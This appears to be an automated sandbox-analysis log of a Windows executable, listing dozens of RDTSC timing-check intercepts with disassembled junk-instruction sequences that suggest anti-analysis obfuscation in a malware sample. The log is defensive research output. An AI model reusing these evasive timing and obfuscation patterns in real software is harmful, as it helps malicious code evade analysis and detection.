Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4C29B6 second address: 4C29D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4B7CC118BFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4C29D1 second address: 4C29D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4C29D5 second address: 4C29D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4C29D9 second address: 4C29E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F4B7CC5D3A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3B4CAF second address: 3B4CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4B7CC118BEh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F4B7CC118D0h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F4B7CC118C0h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4D559F second address: 4D55A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4D55A3 second address: 4D55A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4D9D7B second address: 4D9D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4D9D7F second address: 4D9D91 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4B7CC118BCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4D9077 second address: 4D907B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4D907B second address: 4D9081 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4D94A5 second address: 4D94AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F4B7CC5D3A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4D990F second address: 4D991F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B7CC118BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4D991F second address: 4D9927 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4D9AF7 second address: 4D9AFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4D9AFD second address: 4D9B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4B7CC5D3A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4D9B07 second address: 4D9B0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DCC3F second address: 4DCC4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4B7CC5D3A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DCC4B second address: 4DCC50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DF84C second address: 4DF863 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DF917 second address: 4DF91B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DF91B second address: 4DF97A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F4B7CC5D3A8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D248Fh], eax 0x0000002b push 00000004h 0x0000002d mov dword ptr [ebp+122D27E3h], eax 0x00000033 call 00007F4B7CC5D3A9h 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DF97A second address: 4DF980 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DF980 second address: 4DF99E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DF99E second address: 4DF9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DF9A3 second address: 4DF9AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F4B7CC5D3A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DF9AD second address: 4DF9FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007F4B7CC118C3h 0x00000014 mov eax, dword ptr [eax] 0x00000016 jnp 00007F4B7CC118C2h 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 js 00007F4B7CC118B6h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DF9FE second address: 4DFA02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DFA02 second address: 4DFA08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DFD4C second address: 4DFD52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DFD52 second address: 4DFD56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DFD56 second address: 4DFD86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jg 00007F4B7CC5D3B4h 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 jg 00007F4B7CC5D3ACh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DFD86 second address: 4DFD8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4DFD8C second address: 4DFDA1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007F4B7CC5D3A6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4E317E second address: 4E3191 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4B7CC118BEh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4E3191 second address: 4E3197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B6048A second address: 4B604CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 20ABD30Ah 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F4B7CC118BAh 0x00000013 jmp 00007F4B7CC118C5h 0x00000018 popfd 0x00000019 call 00007F4B7CC118C0h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B604CA second address: 4B604E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4B7CC5D3ADh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B604E0 second address: 4B604E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B604E6 second address: 4B60527 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007F4B7CC5D3B2h 0x00000015 add si, 3FE8h 0x0000001a jmp 00007F4B7CC5D3ABh 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B605CC second address: 4B605D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B9075F second address: 4B9077C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B9077C second address: 4B907E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4B7CC118C7h 0x00000009 or esi, 0E382DFEh 0x0000000f jmp 00007F4B7CC118C9h 0x00000014 popfd 0x00000015 push ecx 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b jmp 00007F4B7CC118BAh 0x00000020 push eax 0x00000021 jmp 00007F4B7CC118BBh 0x00000026 xchg eax, ebp 0x00000027 pushad 0x00000028 mov esi, 25730A4Bh 0x0000002d mov bh, al 0x0000002f popad 0x00000030 mov ebp, esp 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B907E5 second address: 4B907F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B907F9 second address: 4B907FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B907FF second address: 4B9081F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4B7CC5D3B5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B9081F second address: 4B9083D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B9083D second address: 4B90850 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B90850 second address: 4B90867 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, bl 0x00000005 mov eax, 7CDE12B7h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov ah, bl 0x00000013 movzx ecx, dx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B90867 second address: 4B908C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F4B7CC5D3B1h 0x00000011 xor esi, 5D40F1C6h 0x00000017 jmp 00007F4B7CC5D3B1h 0x0000001c popfd 0x0000001d push eax 0x0000001e push edx 0x0000001f pushfd 0x00000020 jmp 00007F4B7CC5D3AEh 0x00000025 adc esi, 611EEA68h 0x0000002b jmp 00007F4B7CC5D3ABh 0x00000030 popfd 0x00000031 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B908C4 second address: 4B90942 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4B7CC118C8h 0x00000008 jmp 00007F4B7CC118C5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 pop edx 0x00000016 pushfd 0x00000017 jmp 00007F4B7CC118C6h 0x0000001c xor esi, 240EC258h 0x00000022 jmp 00007F4B7CC118BBh 0x00000027 popfd 0x00000028 popad 0x00000029 mov cx, 0B0Fh 0x0000002d popad 0x0000002e lea eax, dword ptr [ebp-04h] 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F4B7CC118C1h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B90942 second address: 4B9099B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4B7CC5D3B7h 0x00000008 pop eax 0x00000009 push edi 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push edi 0x00000013 pop ecx 0x00000014 pushfd 0x00000015 jmp 00007F4B7CC5D3B9h 0x0000001a or eax, 0E5BD0B6h 0x00000020 jmp 00007F4B7CC5D3B1h 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B9099B second address: 4B909E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4B7CC118C7h 0x00000009 and esi, 05BB1DEEh 0x0000000f jmp 00007F4B7CC118C9h 0x00000014 popfd 0x00000015 push eax 0x00000016 pop edi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [esp], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov bx, AE5Ah 0x00000024 mov bh, 56h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B90ABA second address: 4B90AC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B90AC9 second address: 4B90B0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, esi 0x0000000b jmp 00007F4B7CC118BEh 0x00000010 pop esi 0x00000011 pushad 0x00000012 jmp 00007F4B7CC118BEh 0x00000017 popad 0x00000018 leave 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B90B0D second address: 4B90B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B90B11 second address: 4B8000E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cx, di 0x00000009 popad 0x0000000a retn 0004h 0x0000000d nop 0x0000000e sub esp, 04h 0x00000011 xor ebx, ebx 0x00000013 cmp eax, 00000000h 0x00000016 je 00007F4B7CC11A1Ah 0x0000001c mov dword ptr [esp], 0000000Dh 0x00000023 call 00007F4B8157DA51h 0x00000028 mov edi, edi 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F4B7CC118BAh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B8000E second address: 4B80014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80014 second address: 4B80018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80018 second address: 4B80046 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov bh, ch 0x0000000f mov ecx, ebx 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F4B7CC5D3B1h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80046 second address: 4B80095 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 mov ecx, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c mov ebx, 40AC9866h 0x00000011 pushfd 0x00000012 jmp 00007F4B7CC118C7h 0x00000017 and ecx, 6C26C2EEh 0x0000001d jmp 00007F4B7CC118C9h 0x00000022 popfd 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80095 second address: 4B800EA instructions: 0x00000000 rdtsc 0x00000002 mov bx, F27Ch 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dl, BAh 0x0000000a popad 0x0000000b sub esp, 2Ch 0x0000000e jmp 00007F4B7CC5D3ACh 0x00000013 xchg eax, ebx 0x00000014 jmp 00007F4B7CC5D3B0h 0x00000019 push eax 0x0000001a jmp 00007F4B7CC5D3ABh 0x0000001f xchg eax, ebx 0x00000020 jmp 00007F4B7CC5D3B6h 0x00000025 xchg eax, edi 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B800EA second address: 4B800EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B800EE second address: 4B800F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B800F2 second address: 4B800F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B800F8 second address: 4B800FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B800FE second address: 4B80102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80102 second address: 4B8013C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F4B7CC5D3B6h 0x00000012 adc esi, 47A91CB8h 0x00000018 jmp 00007F4B7CC5D3ABh 0x0000001d popfd 0x0000001e mov cx, 4CEFh 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B8013C second address: 4B80150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B7CC118C0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80150 second address: 4B80154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80154 second address: 4B80169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4B7CC118BAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B801B5 second address: 4B80226 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4B7CC5D3B7h 0x00000008 mov ch, 74h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d inc ebx 0x0000000e jmp 00007F4B7CC5D3ABh 0x00000013 test al, al 0x00000015 pushad 0x00000016 mov edi, ecx 0x00000018 mov ch, D3h 0x0000001a popad 0x0000001b je 00007F4B7CC5D5ABh 0x00000021 jmp 00007F4B7CC5D3B3h 0x00000026 lea ecx, dword ptr [ebp-14h] 0x00000029 jmp 00007F4B7CC5D3B6h 0x0000002e mov dword ptr [ebp-14h], edi 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 push ebx 0x00000035 pop ecx 0x00000036 movsx edi, cx 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80226 second address: 4B80238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B7CC118BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80238 second address: 4B8023C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B802A1 second address: 4B802BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4B7CC118C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B802E3 second address: 4B8030A instructions: 0x00000000 rdtsc 0x00000002 mov si, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 mov edi, 1D683E76h 0x0000000d mov bl, CCh 0x0000000f popad 0x00000010 popad 0x00000011 test eax, eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F4B7CC5D3B0h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B8030A second address: 4B8030E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B8030E second address: 4B80314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B80314 second address: 4B8031A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
